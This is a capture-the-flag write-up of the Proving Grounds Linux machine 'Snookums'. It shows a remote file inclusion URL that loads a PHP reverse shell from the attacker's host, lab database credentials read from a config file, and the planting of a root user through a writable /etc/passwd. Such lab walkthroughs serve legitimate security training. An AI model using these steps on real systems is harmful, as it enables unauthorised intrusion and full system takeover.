# Snookums

**Source**: Proving Grounds\
**OS**: Linux\
**Community Rating**: Intermediate

## **Enumeration & Reconnaissance**

* Autorecon revealed open ports:
  * FTP (21)
  * SSH (22)
  * **HTTP (80)**
  * RPC (111)
  * SMB (139 & 445)
  * **MySQL (3306 & 33060)**
* Usually, I’d check FTP first, especially since anonymous login was allowed, but I dove straight into HTTP (80) and got too involved to notice FTP until later.

## **Service Analysis**

* The HTTP server hosted a **Simple PHP Photo Gallery** (v0.8).&#x20;

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FyqaOmrCzDgDiuaXgWyS3%2Fimage.png?alt=media&#x26;token=9488a768-cd2e-41b8-81ee-663f6ced1445" alt="" width="563"><figcaption><p>Simple PHP Photo Gallery</p></figcaption></figure>

* A version number at the bottom screamed "vulnerable." Searching for CVEs led me to **EDB-ID 48424** (no CVE assigned), an RFI vulnerability in the `img` parameter:

{% code overflow="wrap" fullWidth="true" %}
```
http://192.168.192.58/image.php?img=http://192.168.45.201/shell.php
```
{% endcode %}

## **Gaining Initial Access**

* I crafted a PHP reverse shell and hosted it on my machine. Initial attempts with ports 901/9911 failed, likely firewall issues. Switching to ports 80/22 worked, and I landed a shell as **apache**.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FPA4OADAe9T5ZOIoKicyi%2Fimage.png?alt=media&#x26;token=31358442-d85e-4be3-b4e1-e1926e35cc62" alt="" width="563"><figcaption><p>Initial Access</p></figcaption></figure>

* Uploaded `linpeas.sh`, which flagged a PHP config file containing MySQL credentials: **root:MalapropDoffUtilize1337**.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FVyGsiCZcr5IJbSKoGWL5%2Fimage.png?alt=media&#x26;token=0a108504-7a30-4300-b911-6097561a197f" alt="" width="375"><figcaption><p>Database Credentials</p></figcaption></figure>

{% code overflow="wrap" fullWidth="true" %}
```bash
mysql -u root -p
```
{% endcode %}

* Found the **SimplePHPGal** database. That had a users table with 3 users alongside their encoded passwords, I picked the user **michael** since it was the one that's in the home directory.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2Fl5AsR3jln3JeinWh7UPY%2Fimage.png?alt=media&#x26;token=abee2518-176f-42ec-9fde-98a7768c7149" alt="" width="375"><figcaption><p>Users Passwords</p></figcaption></figure>

{% code overflow="wrap" fullWidth="true" %}
```bash
echo "U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==" | base64 -d | base64 -d
```
{% endcode %}

* Decoding it gave **HockSydneyCertify123**.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2Fezs8Jc9ppGJNdgSd1oGQ%2Fimage.png?alt=media&#x26;token=8b7f079c-da0f-4e14-a355-d82b014a10ff" alt="" width="563"><figcaption><p><strong>HockSydneyCertify123</strong></p></figcaption></figure>

## **Privilege Escalation**

* I then switched to **michael and r**e-ran `linpeas.sh`, which revealed **writable /etc/passwd**.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FEHB2CJSyVTTok8Is2zDH%2Fimage.png?alt=media&#x26;token=55a898ee-6540-40af-bf77-e5addc3a8f49" alt="" width="563"><figcaption><p>/etc/passwd</p></figcaption></figure>

* It means we can add a new user as root. I generated a password hash for "pwned":

{% code overflow="wrap" fullWidth="true" %}
```bash
openssl passwd pwned
```
{% endcode %}

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FzkpzavQqsWWhtL3lJ08B%2Fimage.png?alt=media&#x26;token=2377980b-5b2c-4955-bdc3-164405f1afe7" alt="" width="375"><figcaption><p>openssl passwd</p></figcaption></figure>

* Appended a new root user, kingkong, to `/etc/passwd` using `echo`:

{% code overflow="wrap" fullWidth="true" %}
```bash
echo "kingkong:\$1\$xr7pWWIR\$vNF8Z7sc8mgBu6u7ZETyT/:0:0:root:/root:/bin/bash" >> /etc/passwd  
```
{% endcode %}

* Switching to **kingkong** granted root access.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FJ5ThdeK0ogq0GLTcxdlW%2Fimage.png?alt=media&#x26;token=9591ceee-c692-496d-8e90-c987d71a733d" alt="" width="563"><figcaption><p>Root Access</p></figcaption></figure>

## **Lessons Learned**

* **FTP Blindness:** Skipping FTP might cost time, check obvious services first.
* **RFI Port Woes:** Firewalls hate fancy ports, stick to 80/443 for shells.
* **Double Encoding:** Always decode twice… or thrice.
* **/etc/passwd Write Abuse:** If writable, plant a root user and call it a day.
